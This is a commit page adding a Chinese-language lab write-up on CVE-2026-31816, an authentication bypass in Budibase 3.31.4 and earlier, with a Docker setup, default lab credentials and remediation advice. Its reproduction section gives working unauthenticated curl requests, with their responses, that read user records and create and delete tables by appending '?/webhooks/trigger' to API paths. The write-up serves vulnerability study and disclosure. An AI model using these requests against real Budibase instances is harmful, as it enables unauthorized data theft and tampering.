update CVE-2026-31816

This commit is contained in:
Threekiii committed 2026-03-18 17:29:05 +08:00
1 parent 3862be0544
commit d136f18149
4 files changed
+101

No files matched your search

@@ -0,0 +1,101 @@
# Budibase Webhook 查询参数认证绕过漏洞 CVE-2026-31816
## 漏洞描述
Budibase 是一个用于创建内部工具、工作流和管理面板的低代码平台。
CVE-2026-31816 是影响 Budibase 3.31.4 及之前版本的严重认证绕过漏洞。该漏洞源于保护所有服务端 API 端点的 `authorized()` 中间件中的实现缺陷。`isWebhookEndpoint()` 函数使用一个未锚定的正则表达式来测试 `ctx.request.url`,在 Koa 框架中这包含完整的 URL 和查询参数。当正则匹配时,`authorized()` 中间件立即返回 `next()`,完全绕过身份验证、授权、角色检查和 CSRF 保护。未经身份验证的远程攻击者只需在 URL 后附加 `?/webhooks/trigger` 或任何 webhook 路径模式变体,即可访问任何服务端 API 端点。
参考链接:
- https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-31816
## 漏洞影响
```
Budibase <= 3.31.4
```
## 环境搭建
Vulhub 执行如下命令启动一个 Budibase v3.31.4 服务:
```
docker-compose up -d
```
服务启动后,访问 `http://your-ip:10000` 即可看到 Budibase 界面。默认管理员凭据为 `[email protected]:admin123456`。
使用默认凭据登录系统后,创建一个 workspace。
![](images/Budibase%20Webhook%20查询参数认证绕过漏洞%20CVE-2026-31816/image-20260318100252007.png)
## 漏洞复现
该漏洞可以通过在任何 API 端点 URL 后附加 webhook 路径模式如 `?/webhooks/trigger` 来利用。这会导致 `isWebhookEndpoint()` 函数匹配查询字符串,触发认证绕过。首先需要通过访问 Budibase 实例获取有效的应用 ID,然后只需在查询字符串中添加 webhook 模式即可在无需任何身份验证的情况下访问受保护的 API 端点。
我们已经创建了一个 workspace,应用 ID 为 `app_dev_beac85d930c749d49d466931b4317fad`。一旦获得有效的应用 ID,就可以访问敏感的 API 端点。例如,发送请求在无身份验证的情况下列出所有用户数据:
```
curl -s -X POST "http://your-ip:10000/api/ta_users/search?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"query":{}}'
{"rows":[{"email":"[email protected]","roleId":"ADMIN","status":"active","_id":"ro_ta_users_us_e51bca2f7a294a85adeab9def54e2bc9","_rev":"1-b97ed8a54fa2dd52c998f7a57bdee40a","createdAt":"2026-03-18T01:53:27.871Z","updatedAt":"2026-03-18T01:53:27.871Z","tableId":"ta_users"}]}
```
![](images/Budibase%20Webhook%20查询参数认证绕过漏洞%20CVE-2026-31816/image-20260318100520809.png)
响应将包含所有用户记录,包括电子邮件地址和角色,展示了完整的数据渗漏能力。该请求通常需要身份验证并返回 302 重定向到登录页面,但由于认证绕过,它直接返回敏感的用户数据。
您还可以创建、修改或删除数据。在无身份验证的情况下创建新表:
```
curl -s -X POST "http://your-ip:10000/api/tables?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"name":"hacked_table","schema":{}}'
{"_id":"ta_ee11ed083e4b42c2813bc1b1cc1029dd","name":"hacked_table","schema":{},"type":"table","sourceType":"internal","views":{},"createdAt":"2026-03-18T02:06:21.153Z","updatedAt":"2026-03-18T02:06:21.153Z","_rev":"1-ffc19866d05d40ea1264ace3e407302d","primary":["_id"],"sourceId":"bb_internal","sql":true}
```
![](images/Budibase%20Webhook%20查询参数认证绕过漏洞%20CVE-2026-31816/image-20260318100630065.png)
服务器将响应 HTTP 200 并返回新创建的表 ID 和版本,确认可以在无身份验证的情况下进行任意数据操作。这证明该漏洞提供对所有应用程序资源的完整 CRUD 访问权限,包括表、行、自动化、数据源、查询、视图和插件。
删除表(未经身份验证):
```
curl -s -X DELETE \
"http://your-ip:10000/api/tables/<TABLE_ID>/<TABLE_REV>?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
```
列出所有数据源(未经身份验证):
```
curl -s "http://your-ip:10000/api/datasources?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
```
列出所有自动化流程(未经身份验证):
```
curl -s "http://your-ip:10000/api/automations?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
```
已确认存在其他未经身份验证的访问 API:
```
- /api/roles?/webhooks/trigger
- /api/integrations?/webhooks/trigger
- /api/views?/webhooks/trigger
- /api/plugins?/webhooks/trigger
```
## 漏洞修复
- 漏洞已修复,建议升级至 [最新版本](https://github.com/Budibase/budibase/releases)。